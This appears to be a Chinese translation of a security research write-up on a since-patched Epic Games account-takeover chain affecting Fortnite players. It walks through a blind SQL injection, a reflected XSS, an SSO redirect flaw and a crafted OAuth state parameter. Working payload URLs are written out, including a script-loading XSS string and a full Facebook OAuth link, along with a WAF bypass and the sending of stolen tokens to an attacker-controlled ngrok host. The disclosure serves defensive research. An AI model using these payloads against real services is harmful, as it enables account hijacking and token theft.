正文

看我如何黑掉堡垒之夜玩家账户

admin
admin V管理员 /0 评论 /13 阅读
0319
此篇文章发布距今已超过1198天，您需要注意文章的内容或图片是否可用！

 

一、前言

Fortnite（堡垒之夜）是Epic Games游戏开发商制作的一款大型流行游戏，在虚拟世界中，Fortnite玩家的任务就是通过各种工具和武器保证自己安全，力争成为最后一个存活的单位。

在过去几周时间内，Check Point Research发现了Epic Game在线平台上的多个漏洞，攻击者可以借助这些漏洞控制任何玩家的账户，浏览玩家个人账户信息、购买V-Bucks和Fortnite游戏内虚拟货币、窃听并记录玩家在游戏内的聊天信息及隐私对话。

Fortnite由美国视频游戏开发商Epic Games制作，该开发商估值约为50亿至80亿美元，而这款游戏将近占了其中半壁江山。这款游戏在经济方面炙手可热，因此也吸引了网络犯罪分子的注意力。

之前攻击者会诱骗玩家登录伪造的网站，这些网站号称可以生成Fortnite游戏中的“V-Bucks”货币（这些商品通常只能通过官方的Fortnite商店购买，或者在游戏中赚取）。这些钓鱼网站会诱导玩家输入游戏登录凭据、姓名、地址和信用卡等个人信息，也会通过社交媒体进行传播，宣传玩家可以“轻松赚钱”以及“快速发家”。

然而，我们的研究团队采用了更为复杂也更为“阴险”的方法，不需要用户提供任何登录凭据。我们发现了Epic Games某些子域名的漏洞，在这些漏洞的帮助下，用户只需点击攻击者发送的链接就可以发起XSS攻击。用户点击链接后，无需输入任何登录凭据，攻击者就可以立刻获取玩家的用户名及密码。

Check Point Research向Epic Games通报了该漏洞，厂商也部署了修复补丁，保证数百万玩家能在安全环境中继续游戏。

大家可以访问此处观看攻击演示视频。

 

二、技术细节

Epic Games存在一些老的域名，比如“http://ut2004stats.epicgames.com”，我们的发现都源自于此。

SQL注入

在“http://ut2004stats.epicgames.com”子域名上，我们发现了一个有趣的GET请求，其中涉及到一个路径：/serverstats.php?server=[some server code]。

看到这里我们提出了一个问题：如果“在请求中添加其他标志”，会出现什么情况？

结果服务器返回了“Server database error”（服务器数据库错误）信息！

这一点非常好，我们发现这很有可能存在SQL注入漏洞（此时我们认为这是一个MYSQL数据库）。

进一步研究后，我们发现目标中部署了一款WAF产品，使用的是黑名单机制（并没有使用白名单机制），我们首先得解决这个问题。在这个系统限制下，我们无法查询某些系统表（如information_schema表）。

然而我们可以使用系统变量（@@），似乎有些人忘记处理这些因素，并且我们可以借此完成许多任务。

Google一番后，我们发现37514065是一个有效的服务端代码。基于这一点，我们执行了如下查询语句，观察服务端返回的响应数据：

if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)

如果响应数据大小为4014字节，则代表查询结果中不存在该字符。如果响应数据大小为12609字节，则代表查询结果中存在该字符。

比如，if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0)会返回4014字节：

请求数据如下：

图1. 初始SQL注入查询语句

响应数据如下：

图2. 上图SQL查询返回4014字节数据

更进一步，if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)查询语句返回12609字节，因此我们得知目标使用的是MySQL 5。

图3. 第二次SQL注入查询

图4. SQL查询语句返回12609字节响应数据

通过这种方法，我们可以获取一些数据，进行下一步研究。

跨站脚本（XSS）

继续研究后，我们发现“http://ut2004stats.epicgames.com”子域名中包含名为“maps”的一个网页。我们猜测该网页可以通过地图名称/id来展示比赛相关统计数据。

当我们在查找XSS漏洞时（不管是反射型还是存储型漏洞），我们都应该在目标页面中找到服务器对输入数据的输出，我们的确在该页面的搜索组件中找到了所需的输出点。事实上，该页面的另一个功能是搜索栏，也是我们用于XSS漏洞的注入点。

比如：

这是我们找到的第二个突破口，表明ut2004stats.epicgames.com上存在XSS漏洞。该域名为epicgames.com的一个子域名，这一点对我们最后一个攻击阶段来说非常重要。

接管oAuth账户

在接下来几天内，我们继续搜索是否存在其他攻击点。

在这项研究工作一开始，我们团队中的某个小伙伴对SSO机制非常“来电”。在直觉的指引下，我们仔细研究了SSO，的确发现Epic Games已经实现了一个通用的SSO，用来支持多个登录提供程序（Provider）。这时候我们可以进一步分析实现细节。

事实证明，当玩家点击“Sign In”按钮登录账户时，Epic Games会生成包含redirectedUrl参数的一个URL（如下所示）。之后accounts.epicgames.com会使用该参数，将玩家重定向到对应的账户页面。

https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true

图5. 玩家登录账户后的重定向链接

然而，我们很快发现重定向URL可以被篡改，将用户重定向到*.epicgames.com域名内的任意web页面。

由于我们可以控制redirectedUrl参数，因此可以将受害者重定向至包含XSS攻击载荷的ut2004stats.epicgames.com网站：

http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>

网页上的JavaScript载荷随后会向任何SSO provider发起请求，请求中包含state参数，accounts.epicgames.com随后会使用该参数来完成认证过程。JavaScript载荷中包含一个精心构造的state参数。state参数的值包含经过Base64编码的JSON，而该JSON数据中包含3个键：redirectUrl、client_id以及prodectName。当SSO登录过程完成后，就会使用redirectedUrl参数进行重定向。

多个SSO Provider

如果我们尝试登录Fortnite，就会发现Epic Games使用了多个SSO Provider：PlayStationNetwork、Xbox Live、Nintendo、Facebook以及Google+。随后我们发现，我们可以在这些SSO Provider上使用前文描述的技巧。这里我们以Facebook为例来演示。

如下所示，我们尝试构造state参数，使XSS载荷能够将用户重定向至ut2004stats.epicgames.com：

https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends

图6. 使用XSS载荷重定向至ut2004stats.epicgames.com

此时SSO Provider为Facebok，会返回跳转至accounts.epicgames.com的重定向响应包，其中包含我们可控的state参数：

图7. Facebook返回跳转至accounts.epicgames.com的响应包，其中包含我们可控的state参数

随后，Epic Games会从SSO Provider读取code（即SSO令牌）和攻击者构造的state参数，然后向Epic Games服务器发起请求，以便完成身份认证过程：

图8. Epic Games向服务器发起请求，其中包含来自SSO的、由攻击者构造的state参数

Epic Games服务器没有验证输入信息，直接生成响应数据，将用户重定向至包含XSS载荷和SSO令牌信息的ut2004stats.epicgames.com：

图9. Epic Games服务器响应数据中没有验证输入数据，将用户重定向至包含XSS载荷和SSO令牌信息的ut2004stats.epicgames.com

最终，用户会被重定向至包含漏洞的网页，然后执行XSS载荷，攻击者就能窃取用户的身份认证代码：

图10. 存在漏洞的网页上会执行XSS载荷

（对Epic Games而言）这里最大的问题在于，Epic Games服务器并没有验证state参数的输入数据。

请注意，用户会被重定向到包含XSS漏洞的ut2004stats.epicgames.com页面，因此即便Epic Games采用了CORS（跨域资源共享）机制，ut2004stats.epicgames.com依然可以向account.epicgames.com发起请求。

绕过WAF

当执行XSS载荷时，WAF会采取措施，通知我们该请求已被禁止。显然，这里唯一的问题在于脚本源URL的长度，因此我们可以缩短URL长度来绕过限制。

现在我们已经找到XSS点，可以加载JavaScript，并且在ut2004stats.epicgames.com上下文中执行，因此是时候写一些JavaScript代码：

图11. 用来投递XSS载荷的JavaScript代码

XSS载荷

上述代码会打开一个窗口，向SSO Provider服务器（这里为Facebook）发起oAuth请求，请求中包含用户的所有cookie信息以及我们构造的state参数。

Facebook随后会返回响应包，将用户重定向至account.epicgames.com，其中包含SSO令牌（code参数）以及攻击者先前构造的state参数。

由于用户已经登录Facebook账户，因此account.epicgames.com服务器会重定向至在state参数中找到的URL地址。在这个例子中，重定向地址为ut2004stats.epicgames.com，其中包含XSS载荷以及Facebook用户的oAuth令牌。

最终，请求中的令牌信息会发送至攻击者的服务器（这里我们使用的是ngrok服务器：0aa62240.ngrok.io）。

图12. Ngrok服务器收到包含SSO令牌的请求

图13. Ngrok服务器收到包含SSO令牌的请求

现在攻击者已经收到用户的Facebook令牌信息，可以登录受害者的账户。

图14. 攻击者成功获取用户的Facebook令牌